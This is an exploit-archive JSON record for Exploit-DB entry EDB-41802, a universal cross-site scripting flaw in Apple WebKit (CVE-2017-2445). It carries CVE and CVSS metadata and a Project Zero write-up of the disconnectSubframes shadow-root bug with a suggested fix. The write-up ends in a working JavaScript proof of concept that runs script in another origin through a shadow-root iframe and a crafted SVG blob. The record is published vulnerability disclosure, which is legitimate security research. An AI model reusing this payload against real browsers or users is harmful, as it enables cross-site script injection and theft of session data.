{"exploit":{"id":"EDB-41802","name":"Apple WebKit 10.0.2 (12602.3.12.0.1) - 'disconnectSubframes' Universal Cross-Site Scripting (XSS)","description":"Apple WebKit 10.0.2 (12602.3.12.0.1) - 'disconnectSubframes' Universal Cross-Site Scripting (XSS)","cves":["CVE-2017-2445"],"author":"Google Security Research","published":"2017-04-04","platform":"multiple","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/41802","path":"exploits/multiple/webapps/41802.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-41802.txt","vulnerabilities":[{"id":"CVE-2017-2445","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in certain Apple products. iOS before 10.3 is affected. Safari before 10.1 is affected. tvOS before 10.2 is affected. The issue involves the \"WebKit\" component. It allows remote attackers to conduct Universal XSS (UXSS) attacks via crafted frame objects.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-2445","cvss":{"version":"3.0","baseScore":6.1,"severity":"medium","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-2445"},"updatedAt":"2024-08-05T13:55:05.864Z","retrievedAt":"2026-11-26T16:06:35.618Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-41802.png?v=2","url":"https://exploitbin.com/exploits/EDB-41802","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-41802/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-41802/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<!--\nSource: https://bugs.chromium.org/p/project-zero/issues/detail?id=1074\n\nWhen an element is removed from a document, the function |disconnectSubframes| is called to detach its subframes(iframe tag, object tag, etc.).\n\nHere is a snippet of |disconnectSubframes|.\n\nvoid disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy)\n{\n    ...\n    Vector<Ref<HTMLFrameOwnerElement>> frameOwners;\n\n    if (policy == RootAndDescendants) {\n        if (is<HTMLFrameOwnerElement>(root))\n            frameOwners.append(downcast<HTMLFrameOwnerElement>(root));\n    }\n\n    collectFrameOwners(frameOwners, root);\n\n    // Must disable frame loading in the subtree so an unload handler cannot\n    // insert more frames and create loaded frames in detached subtrees.\n    SubframeLoadingDisabler disabler(root);\n\n    bool isFirst = true;\n    for (auto& owner : frameOwners) {\n        // Don't need to traverse up the tree for the first owner since no\n        // script could have moved it.\n        if (isFirst || root.containsIncludingShadowDOM(&owner.get()))\n            owner.get().disconnectContentFrame();\n        isFirst = false;\n    }\n}\n\nThe bug is that it doesn't consider |root|'s shadowroot. So any subframes in the shadowroot will be never detached.\n\nIt should be like:\n\n    ...\n    collectFrameOwners(frameOwners, root);\n\n    if (is<Element>(root)) {\n        Element& element = downcast<Element>(root);\n        if (ShadowRoot* shadowRoot = element.shadowRoot())\n            collectFrameOwners(frameOwners, *shadowRoot);\n    }\n    ...\n\n\nPoC:\n-->\n\nvar d = document.body.appendChild(document.createElement(\"div\"));\nvar s = d.attachShadow({mode: \"open\"});\n\nvar f = s.appendChild(document.createElement(\"iframe\"));\n\nf.onload = () => {\n    f.onload = null;\n\n    f.src = \"javascript:alert(location)\";\n\n    var xml = `\n<svg xmlns=\"http://www.w3.org/2000/svg\">\n<script>\ndocument.documentElement.appendChild(parent.d);\n\n</sc` + `ript>\n<element a=\"1\" a=\"2\" />\n</svg>`;\n\n    var v = document.body.appendChild(document.createElement(\"iframe\"));\n    v.src = URL.createObjectURL(new Blob([xml], {type: \"text/xml\"}));\n};\n\nf.src = \"https://abc.xyz/\";\n\n<!--\nTested on Safari 10.0.2(12602.3.12.0.1)\n\nI didn’t notice that the method shadowRoot is declared in Node.h. So the following would better make sense.\n\n    collectFrameOwners(frameOwners, root);\n\n    if (ShadowRoot* shadowRoot = root.shadowRoot())\n        collectFrameOwners(frameOwners, *shadowRoot);\n-->","sha256":"c075323f0091d1a4f0ee7234500b592f231747d200fbf4cf61a74eda8aafd2ac","bytes":2454,"fetchedAt":"2026-11-26T16:06:29.996Z","encoding":"utf-8 (display only; download retains original bytes)"}